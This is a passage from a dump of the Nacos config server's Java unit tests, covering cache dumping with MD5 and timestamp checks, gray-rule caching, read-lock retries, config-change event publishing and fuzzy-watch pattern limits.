    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.model.gray.GrayRuleManager;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.config.server.utils.SimpleReadWriteLock;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.stubbing.OngoingStubbing;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.io.IOException;\nimport java.lang.reflect.Field;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.times;\n\n@ExtendWith(SpringExtension.class)\nclass ConfigCacheServiceTest {\n    \n    MockedStatic<PropertyUtil> propertyUtilMockedStatic;\n    \n    MockedStatic<ConfigDiskServiceFactory> configDiskServiceFactoryMockedStatic;\n    \n    @Mock\n    ConfigDiskService configDiskService;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    @BeforeEach\n    void before() {\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        configDiskServiceFactoryMockedStatic = Mockito.mockStatic(ConfigDiskServiceFactory.class);\n        configDiskServiceFactoryMockedStatic.when(() -> ConfigDiskServiceFactory.getInstance())\n                .thenReturn(configDiskService);\n        propertyUtilMockedStatic = Mockito.mockStatic(PropertyUtil.class);\n    }\n    \n    @AfterEach\n    void after() {\n        envUtilMockedStatic.close();\n        propertyUtilMockedStatic.close();\n        configDiskServiceFactoryMockedStatic.close();\n    }\n    \n    @Test\n    void testDumpFormal() throws Exception {\n        String dataId = \"dataIdtestDumpMd5NewTsNewMd5123\";\n        String group = \"group11\";\n        String tenant = \"tenant112\";\n        String content = \"mockContnet11\";\n        String md5 = \"mockmd511\";\n        String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        //make sure not exist prev cache.\n        CacheItem contentCache = ConfigCacheService.getContentCache(groupKey);\n        assertTrue(contentCache == null);\n        long ts = System.currentTimeMillis();\n        String type = \"json\";\n        String encryptedDataKey = \"key12345\";\n        boolean result = ConfigCacheService.dumpWithMd5(dataId, group, tenant, content, md5, ts, type,\n                encryptedDataKey);\n        assertTrue(result);\n        //verify cache.\n        CacheItem contentCache1 = ConfigCacheService.getContentCache(groupKey);\n        assertEquals(ts, contentCache1.getConfigCache().getLastModifiedTs());\n        assertEquals(md5, contentCache1.getConfigCache().getMd5());\n        assertEquals(type, contentCache1.getType());\n        assertEquals(encryptedDataKey, contentCache1.getConfigCache().getEncryptedDataKey());\n        Mockito.verify(configDiskService, times(1)).saveToDisk(eq(dataId), eq(group), eq(tenant), eq(content));\n        \n        //modified ts and content and md5\n        String contentNew = content + \"11\";\n        long newTs = System.currentTimeMillis() + 12L;\n        ConfigCacheService.dump(dataId, group, tenant, contentNew, newTs, type, encryptedDataKey);\n        //expect save to disk invoked.\n        Mockito.verify(configDiskService, times(1)).saveToDisk(eq(dataId), eq(group), eq(tenant), eq(contentNew));\n        assertEquals(newTs, contentCache1.getConfigCache().getLastModifiedTs());\n        String newMd5 = MD5Utils.md5Hex(contentNew, \"UTF-8\");\n        assertEquals(newMd5, contentCache1.getConfigCache().getMd5());\n        \n        //modified ts old\n        long oldTs2 = newTs - 123L;\n        String contentWithOldTs = contentNew + \"123456\";\n        ConfigCacheService.dump(dataId, group, tenant, contentWithOldTs, oldTs2, type, encryptedDataKey);\n        //expect save to disk invoked.\n        Mockito.verify(configDiskService, times(0)).saveToDisk(eq(dataId), eq(group), eq(tenant), eq(contentWithOldTs));\n        //not change ts and md5\n        assertEquals(newTs, contentCache1.getConfigCache().getLastModifiedTs());\n        assertEquals(newMd5, contentCache1.getConfigCache().getMd5());\n        \n        //modified ts new only\n        long newTs2 = newTs + 123L;\n        ConfigCacheService.dump(dataId, group, tenant, contentNew, newTs2, type, encryptedDataKey);\n        assertEquals(newTs2, contentCache1.getConfigCache().getLastModifiedTs());\n        \n        //save to disk error\n        doThrow(new IOException(\"No space left on device\")).when(configDiskService)\n                .saveToDisk(anyString(), anyString(), anyString(), anyString());\n        try {\n            long newTs3 = newTs2 + 123L;\n            boolean dumpErrorResult = ConfigCacheService.dump(dataId, group, tenant, contentNew + \"234567\", newTs3,\n                    type, encryptedDataKey);\n            envUtilMockedStatic.verify(() -> EnvUtil.systemExit(), times(1));\n            assertFalse(dumpErrorResult);\n        } catch (Throwable throwable) {\n            assertFalse(true);\n        }\n        \n        //test remove\n        boolean remove = ConfigCacheService.remove(dataId, group, tenant);\n        assertTrue(remove);\n        Mockito.verify(configDiskService, times(1)).removeConfigInfo(dataId, group, tenant);\n        CacheItem contentCacheAfterRemove = ConfigCacheService.getContentCache(groupKey);\n        assertNull(contentCacheAfterRemove);\n        \n    }\n    \n    @Test\n    public void testDumpGray() throws Exception {\n        String dataId = \"dataIdtestDumpBetaNewCache123\";\n        String group = \"group11\";\n        String tenant = \"tenant112\";\n        String grayName = \"grayName\";\n        String grayRule = \"{\\\"type\\\":\\\"tag\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"expr\\\":\\\"dgray123\\\",\\\"priority\\\":1}\";\n        String content = \"mockContent11\";\n        \n        String md5 = MD5Utils.md5Hex(content, \"UTF-8\");\n        String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        String encryptedDataKey = \"key12345\";\n        long ts = System.currentTimeMillis();\n        //init gray cache\n        boolean result = ConfigCacheService.dumpGray(dataId, group, tenant, grayName, grayRule, content, ts,\n                encryptedDataKey);\n        assertTrue(result);\n        CacheItem contentCache = ConfigCacheService.getContentCache(groupKey);\n        assertEquals(md5, contentCache.getConfigCacheGray().get(grayName).getMd5());\n        assertEquals(ts, contentCache.getConfigCacheGray().get(grayName).getLastModifiedTs());\n        assertEquals(encryptedDataKey, contentCache.getConfigCacheGray().get(grayName).getEncryptedDataKey());\n        Mockito.verify(configDiskService, times(1))\n                .saveGrayToDisk(eq(dataId), eq(group), eq(tenant), eq(grayName), eq(content));\n        \n        //ts newer ,md5 update\n        long tsNew = System.currentTimeMillis();\n        String contentNew = content + tsNew;\n        String md5New = MD5Utils.md5Hex(contentNew, \"UTF-8\");\n        boolean resultNew = ConfigCacheService.dumpGray(dataId, group, tenant, grayName, grayRule, contentNew, tsNew,\n                encryptedDataKey);\n        assertTrue(resultNew);\n        assertEquals(md5New, contentCache.getConfigCacheGray().get(grayName).getMd5());\n        assertEquals(tsNew, contentCache.getConfigCacheGray().get(grayName).getLastModifiedTs());\n        assertEquals(encryptedDataKey, contentCache.getConfigCacheGray().get(grayName).getEncryptedDataKey());\n        Mockito.verify(configDiskService, times(1))\n                .saveGrayToDisk(eq(dataId), eq(group), eq(tenant), eq(grayName), eq(contentNew));\n        \n        //ts old ,md5 update\n        long tsOld = tsNew - 1;\n        String contentWithOldTs = \"contentWithOldTs\" + tsOld;\n        boolean resultOld = ConfigCacheService.dumpGray(dataId, group, tenant, grayName, grayRule, contentWithOldTs,\n                tsOld, encryptedDataKey);\n        assertTrue(resultOld);\n        assertEquals(md5New, contentCache.getConfigCacheGray().get(grayName).getMd5());\n        assertEquals(tsNew, contentCache.getConfigCacheGray().get(grayName).getLastModifiedTs());\n        assertEquals(encryptedDataKey, contentCache.getConfigCacheGray().get(grayName).getEncryptedDataKey());\n        Mockito.verify(configDiskService, times(0))\n                .saveGrayToDisk(eq(dataId), eq(group), eq(tenant), eq(grayName), eq(contentWithOldTs));\n        \n        //ts new ,md5 not update,grayRule changes\n        long tsNew2 = tsNew + 1;\n        String grayRuleNew = \"{\\\"type\\\":\\\"tag\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"expr\\\":\\\"gray1234\\\",\\\"priority\\\":1}\";\n        \n        String contentWithPrev = contentNew;\n        boolean resultNew2 = ConfigCacheService.dumpGray(dataId, group, tenant, grayName, grayRuleNew, contentWithPrev,\n                tsNew2, encryptedDataKey);\n        assertTrue(resultNew2);\n        assertEquals(md5New, contentCache.getConfigCacheGray().get(grayName).getMd5());\n        assertEquals(tsNew2, contentCache.getConfigCacheGray().get(grayName).getLastModifiedTs());\n        assertEquals(encryptedDataKey, contentCache.getConfigCacheGray().get(grayName).getEncryptedDataKey());\n        assertEquals(GrayRuleManager.constructGrayRule(GrayRuleManager.deserializeConfigGrayPersistInfo(grayRuleNew)),\n                contentCache.getConfigCacheGray().get(grayName).getGrayRule());\n        \n        //ts new only,md5 not update,beta ips not change\n        long tsNew3 = tsNew2 + 1;\n        String contentWithPrev2 = contentNew;\n        String grayRulePrev = grayRuleNew;\n        boolean resultNew3 = ConfigCacheService.dumpGray(dataId, group, tenant, grayName, grayRulePrev,\n                contentWithPrev2, tsNew3, encryptedDataKey);\n        assertTrue(resultNew3);\n        assertEquals(md5New, contentCache.getConfigCacheGray().get(grayName).getMd5());\n        assertEquals(tsNew3, contentCache.getConfigCacheGray().get(grayName).getLastModifiedTs());\n        assertEquals(encryptedDataKey, contentCache.getConfigCacheGray().get(grayName).getEncryptedDataKey());\n        assertEquals(GrayRuleManager.constructGrayRule(GrayRuleManager.deserializeConfigGrayPersistInfo(grayRuleNew)),\n                contentCache.getConfigCacheGray().get(grayName).getGrayRule());\n        \n        //ts not update,md5 not update,beta ips not change\n        long tsNew4 = tsNew3;\n        String contentWithPrev4 = contentNew;\n        boolean resultNew4 = ConfigCacheService.dumpGray(dataId, group, tenant, grayName, grayRulePrev,\n                contentWithPrev4, tsNew4, encryptedDataKey);\n        assertTrue(resultNew4);\n        assertEquals(md5New, contentCache.getConfigCacheGray().get(grayName).getMd5());\n        assertEquals(tsNew3, contentCache.getConfigCacheGray().get(grayName).getLastModifiedTs());\n        assertEquals(encryptedDataKey, contentCache.getConfigCacheGray().get(grayName).getEncryptedDataKey());\n        assertEquals(GrayRuleManager.constructGrayRule(GrayRuleManager.deserializeConfigGrayPersistInfo(grayRuleNew)),\n                contentCache.getConfigCacheGray().get(grayName).getGrayRule());\n        \n        //test remove\n        boolean removeBeta = ConfigCacheService.removeGray(dataId, group, tenant, grayName);\n        assertTrue(removeBeta);\n        Mockito.verify(configDiskService, times(1)).removeConfigInfo4Gray(dataId, group, tenant, grayName);\n        Map<String, ConfigCacheGray> grayCacheAfterRemove = ConfigCacheService.getContentCache(groupKey)\n                .getConfigCacheGray();\n        assertNull(grayCacheAfterRemove);\n    }\n    \n    @Test\n    void testTryConfigReadLock() throws Exception {\n        String dataId = \"123testTryConfigReadLock\";\n        String group = \"1234\";\n        String tenant = \"1234\";\n        CacheItem cacheItem = Mockito.mock(CacheItem.class);\n        SimpleReadWriteLock lock = Mockito.mock(SimpleReadWriteLock.class);\n        Mockito.when(cacheItem.getRwLock()).thenReturn(lock);\n        String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        Field cache1 = ConfigCacheService.class.getDeclaredField(\"CACHE\");\n        cache1.setAccessible(true);\n        ConcurrentHashMap<String, CacheItem> cache = (ConcurrentHashMap<String, CacheItem>) cache1.get(null);\n        cache.put(groupKey, cacheItem);\n        \n        // lock ==0,not exist\n        int readLock = ConfigCacheService.tryConfigReadLock(groupKey + \"3245\");\n        assertEquals(0, readLock);\n        \n        //lock == 1 , success get lock\n        Mockito.when(lock.tryReadLock()).thenReturn(true);\n        int readLockSuccess = ConfigCacheService.tryConfigReadLock(groupKey);\n        assertEquals(1, readLockSuccess);\n        \n        //lock ==-1 fail after spin all times;\n        OngoingStubbing<Boolean> when = Mockito.when(lock.tryReadLock());\n        for (int i = 0; i < 10; i++) {\n            when = when.thenReturn(false);\n        }\n        int readLockFail = ConfigCacheService.tryConfigReadLock(groupKey);\n        assertEquals(-1, readLockFail);\n        \n        //lock ==1 success after serval spin  times;\n        OngoingStubbing<Boolean> when2 = Mockito.when(lock.tryReadLock());\n        for (int i = 0; i < 5; i++) {\n            when2 = when2.thenReturn(false);\n        }\n        when2.thenReturn(true);\n        int readLockSuccessAfterRetry = ConfigCacheService.tryConfigReadLock(groupKey);\n        assertEquals(1, readLockSuccessAfterRetry);\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/ConfigChangePublisherTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.persistence.configuration.DatasourceConfiguration;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ConfigChangePublisherTest {\n    \n    @BeforeEach\n    void startUP() {\n        EnvUtil.setIsStandalone(true);\n        DatasourceConfiguration.setEmbeddedStorage(true);\n    }\n    \n    @Test\n    void testConfigChangeNotify() throws InterruptedException {\n        \n        AtomicReference<ConfigDataChangeEvent> reference = new AtomicReference<>();\n        \n        NotifyCenter.registerToPublisher(ConfigDataChangeEvent.class, NotifyCenter.ringBufferSize);\n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                reference.set((ConfigDataChangeEvent) event);\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n        \n        // nacos is standalone mode and use embedded storage\n        EnvUtil.setIsStandalone(true);\n        DatasourceConfiguration.setEmbeddedStorage(true);\n        \n        ConfigChangePublisher.notifyConfigChange(\n                new ConfigDataChangeEvent(\"chuntaojun\", \"chuntaojun\", null, System.currentTimeMillis()));\n        Thread.sleep(2000);\n        assertNotNull(reference.get());\n        reference.set(null);\n        \n        // nacos is standalone mode and use external storage\n        EnvUtil.setIsStandalone(true);\n        DatasourceConfiguration.setEmbeddedStorage(false);\n        ConfigChangePublisher.notifyConfigChange(\n                new ConfigDataChangeEvent(\"chuntaojun\", \"chuntaojun\", null, System.currentTimeMillis()));\n        Thread.sleep(2000);\n        assertNotNull(reference.get());\n        reference.set(null);\n        \n        // nacos is cluster mode and use embedded storage\n        EnvUtil.setIsStandalone(false);\n        DatasourceConfiguration.setEmbeddedStorage(true);\n        ConfigChangePublisher.notifyConfigChange(\n                new ConfigDataChangeEvent(\"chuntaojun\", \"chuntaojun\", null, System.currentTimeMillis()));\n        Thread.sleep(2000);\n        assertNull(reference.get());\n        reference.set(null);\n        \n        // nacos is cluster mode and use external storage\n        EnvUtil.setIsStandalone(false);\n        DatasourceConfiguration.setEmbeddedStorage(false);\n        ConfigChangePublisher.notifyConfigChange(\n                new ConfigDataChangeEvent(\"chuntaojun\", \"chuntaojun\", null, System.currentTimeMillis()));\n        Thread.sleep(2000);\n        assertNotNull(reference.get());\n        reference.set(null);\n        \n    }\n    \n    @AfterEach\n    void tearDown() {\n        EnvUtil.setIsStandalone(true);\n        DatasourceConfiguration.setEmbeddedStorage(true);\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/ConfigFuzzyWatchContextServiceTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport com.alibaba.nacos.config.server.configuration.ConfigCommonConfig;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.util.Set;\n\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.ADD_CONFIG;\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.DELETE_CONFIG;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_OVER_LIMIT;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\npublic class ConfigFuzzyWatchContextServiceTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<ConfigCommonConfig> configCommonConfigMockedStatic;\n    \n    private static int mocMaxPattern = 5;\n    \n    private static int mocMaxPatternConfigCount = 10;\n    \n    /**\n     * before.\n     */\n    @BeforeEach\n    public void before() {\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(eq(\"nacos.config.cache.type\"), anyString()))\n                .thenReturn(\"nacos\");\n        \n        configCommonConfigMockedStatic = Mockito.mockStatic(ConfigCommonConfig.class);\n        \n        ConfigCommonConfig configCommonConfig = Mockito.mock(ConfigCommonConfig.class);\n        when(configCommonConfig.getMaxPatternCount()).thenReturn(mocMaxPattern);\n        when(configCommonConfig.getMaxMatchedConfigCount()).thenReturn(mocMaxPatternConfigCount);\n        \n        configCommonConfigMockedStatic.when(() -> ConfigCommonConfig.getInstance()).thenReturn(configCommonConfig);\n    }\n    \n    @AfterEach\n    public void after() {\n        envUtilMockedStatic.close();\n        configCommonConfigMockedStatic.close();\n    }\n    \n    @Test\n    public void testTrimFuzzyWatchContext() throws NacosException {\n        \n        ConfigFuzzyWatchContextService configFuzzyWatchContextService = new ConfigFuzzyWatchContextService();\n        String groupKey = GroupKey.getKeyTenant(\"data124\", \"group\", \"12345\");\n        //init\n        String collectionId = \"id\";\n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(\"data*\", \"group\", \"12345\");\n        \n        configFuzzyWatchContextService.addFuzzyWatch(groupKeyPattern, collectionId);\n        configFuzzyWatchContextService.syncGroupKeyContext(groupKey, ADD_CONFIG);\n        \n        //test\n        Set<String> matchedClients = configFuzzyWatchContextService.getMatchedClients(groupKey);\n        Assertions.assertTrue(matchedClients.size() == 1);\n        \n        Set<String> notMatchedClients = configFuzzyWatchContextService.getMatchedClients(\n                GroupKey.getKeyTenant(\"da124\", \"group\", \"12345\"));\n        Assertions.assertTrue(notMatchedClients.size() == 0);\n        \n        Set<String> matchedGroupKeys = configFuzzyWatchContextService.matchGroupKeys(groupKeyPattern);\n        \n        Assertions.assertTrue(matchedGroupKeys.size() > 0);\n        Assertions.assertTrue(matchedGroupKeys.contains(groupKey));\n        \n        // remove connection is watch\n        configFuzzyWatchContextService.clearFuzzyWatchContext(collectionId);\n        \n        //trim once,  matchedClients2 is empty,matchedGroupKeys2 is not empty\n        configFuzzyWatchContextService.trimFuzzyWatchContext();\n        Set<String> matchedClients2 = configFuzzyWatchContextService.getMatchedClients(groupKey);\n        Assertions.assertTrue(matchedClients2 != null && matchedClients2.isEmpty());\n        \n        Set<String> matchedGroupKeys2 = configFuzzyWatchContextService.matchGroupKeys(groupKeyPattern);\n        Assertions.assertTrue(matchedGroupKeys2 != null && matchedGroupKeys2.contains(groupKey));\n        \n        //trim twice, matchedGroupKeys2 is  empty\n        configFuzzyWatchContextService.trimFuzzyWatchContext();\n        Set<String> matchedGroupKeys3 = configFuzzyWatchContextService.matchGroupKeys(groupKeyPattern);\n        Assertions.assertTrue(matchedGroupKeys3.isEmpty());\n    }\n    \n    @Test\n    public void testSyncGroupKeyContext() throws NacosException {\n        ConfigFuzzyWatchContextService configFuzzyWatchContextService = new ConfigFuzzyWatchContextService();\n        \n        //init\n        String collectionId = \"id\";\n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(\"data*\", \"group\", \"12345\");\n        configFuzzyWatchContextService.addFuzzyWatch(groupKeyPattern, collectionId);\n        String keyTenant = GroupKey.getKeyTenant(\"data1245\", \"group\", \"12345\");\n        boolean needNotify1 = configFuzzyWatchContextService.syncGroupKeyContext(keyTenant, ADD_CONFIG);\n        Assertions.assertTrue(needNotify1);\n        boolean needNotify2 = configFuzzyWatchContextService.syncGroupKeyContext(keyTenant, ADD_CONFIG);\n        Assertions.assertFalse(needNotify2);\n        \n        boolean needNotify3 = configFuzzyWatchContextService.syncGroupKeyContext(keyTenant, DELETE_CONFIG);\n        Assertions.assertTrue(needNotify3);\n        \n        boolean needNotify4 = configFuzzyWatchContextService.syncGroupKeyContext(keyTenant, DELETE_CONFIG);\n        Assertions.assertFalse(needNotify4);\n        \n    }\n    \n    @Test\n    public void testMakeupGroupKeyContext() throws NacosException {\n        \n        ConfigFuzzyWatchContextService configFuzzyWatchContextService = new ConfigFuzzyWatchContextService();\n        \n        //init\n        String collectionId = \"id\";\n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(\"data*\", \"group\", \"12345\");\n        configFuzzyWatchContextService.addFuzzyWatch(groupKeyPattern, collectionId);\n        \n        for (int i = 0; i <= mocMaxPatternConfigCount; i++) {\n            String keyTenant = GroupKey.getKeyTenant(\"data1\" + i, \"group\", \"12345\");\n            boolean needNotify1 = configFuzzyWatchContextService.syncGroupKeyContext(keyTenant, ADD_CONFIG);\n            Assertions.assertEquals(i < mocMaxPatternConfigCount ? true : false, needNotify1);\n        }\n        \n        String overLimitKey = GroupKey.getKeyTenant(\"data1\" + mocMaxPatternConfigCount, \"group\", \"12345\");\n        Assertions.assertFalse(configFuzzyWatchContextService.matchGroupKeys(groupKeyPattern).contains(overLimitKey));\n        \n        //sync init cache service\n        ConfigCacheService.dump(\"data1\" + mocMaxPatternConfigCount, \"group\", \"12345\", \"content\",\n                System.currentTimeMillis(), null, null);\n        \n        String deletedKey = GroupKey.getKeyTenant(\"data1\" + 0, \"group\", \"12345\");\n        \n        configFuzzyWatchContextService.syncGroupKeyContext(deletedKey, DELETE_CONFIG);\n        \n        Assertions.assertTrue(configFuzzyWatchContextService.matchGroupKeys(groupKeyPattern).contains(overLimitKey));\n        \n    }\n    \n    @Test\n    public void testInitGroupKeyContext() throws NacosException {\n        \n        ConfigFuzzyWatchContextService configFuzzyWatchContextService = new ConfigFuzzyWatchContextService();\n        String dataIdPrefix = \"testinitD\";\n        // init config\n        for (int i = 0; i <= mocMaxPatternConfigCount; i++) {\n            ConfigCacheService.dump(dataIdPrefix + i, \"group\", \"12345\", \"content\", System.currentTimeMillis(), null,\n                    null);\n        }\n        \n        String collectionId = \"id\";\n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(dataIdPrefix + \"*\", \"group\", \"12345\");\n        \n        // test init config\n        configFuzzyWatchContextService.addFuzzyWatch(groupKeyPattern, collectionId);\n        Assertions.assertEquals(mocMaxPatternConfigCount,\n                configFuzzyWatchContextService.matchGroupKeys(groupKeyPattern).size());\n        \n        for (int i = 1; i < mocMaxPattern; i++) {\n            String groupKeyPattern0 = FuzzyGroupKeyPattern.generatePattern(dataIdPrefix + \"*\" + i, \"group\", \"12345\");\n            configFuzzyWatchContextService.addFuzzyWatch(groupKeyPattern0, collectionId);\n        }\n        \n        try {\n            String groupKeyPatternOver = FuzzyGroupKeyPattern.generatePattern(dataIdPrefix + \"*\" + mocMaxPattern,\n                    \"group\", \"12345\");\n            \n            configFuzzyWatchContextService.addFuzzyWatch(groupKeyPatternOver, collectionId);\n            Assertions.assertTrue(false);\n        } catch (NacosException nacosException) {\n            Assertions.assertEquals(FUZZY_WATCH_PATTERN_OVER_LIMIT.getCode(), nacosException.getErrCode());\n            Assertions.assertEquals(FUZZY_WATCH_PATTERN_OVER_LIMIT.getMsg(), nacosException.getErrMsg());\n        }\n        \n    }\n    \n    @Test\n    public void testFuzzyWatch() throws NacosException {\n        ConfigFuzzyWatchContextService configFuzzyWatchContextService = new ConfigFuzzyWatchContextService();\n        \n        //init\n        String collectionId = \"id\";\n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(\"data*\", \"group\", \"12345\");\n        configFuzzyWatchContextService.addFuzzyWatch(groupKeyPattern, collectionId);\n        String groupKey = GroupKey.getKeyTenant(\"data1245\", \"group\", \"12345\");\n        \n        boolean needNotify = configFuzzyWatchContextService.syncGroupKeyContext(groupKey, ADD_CONFIG);\n        Assertions.assertTrue(needNotify);\n        \n        Set<String> matchedClients1 = configFuzzyWatchContextService.getMatchedClients(groupKey);\n        Assertions.assertTrue(matchedClients1.contains(collectionId));\n        \n        configFuzzyWatchContextService.removeFuzzyListen(groupKeyPattern, collectionId);\n        Set<String> matchedClients = configFuzzyWatchContextService.getMatchedClients(groupKey);\n        \n        Assertions.assertTrue(CollectionUtils.isEmpty(matchedClients));\n        \n    }\n    \n    @Test\n    public void testFuzzyWatchOverLimit() throws NacosException {\n        ConfigFuzzyWatchContextService configFuzzyWatchContextService = new ConfigFuzzyWatchContextService();\n        \n        //init\n        String collectionId = \"id\";\n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(\"data*\", \"group\", \"12345\");\n        configFuzzyWatchContextService.addFuzzyWatch(groupKeyPattern, collectionId);\n        String groupKey = GroupKey.getKeyTenant(\"data1245\", \"group\", \"12345\");\n        boolean needNotify = configFuzzyWatchContextService.syncGroupKeyContext(groupKey, ADD_CONFIG);\n        \n        Assertions.assertTrue(needNotify);\n        \n        configFuzzyWatchContextService.removeFuzzyListen(groupKeyPattern, collectionId);\n        Set<String> matchedClients = configFuzzyWatchContextService.getMatchedClients(groupKey);\n        \n        Assertions.assertTrue(CollectionUtils.isEmpty(matchedClients));\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/ConfigOperationServiceTest.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.core.env.StandardEnvironment;\nimport org.springframework.dao.DataIntegrityViolationException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static 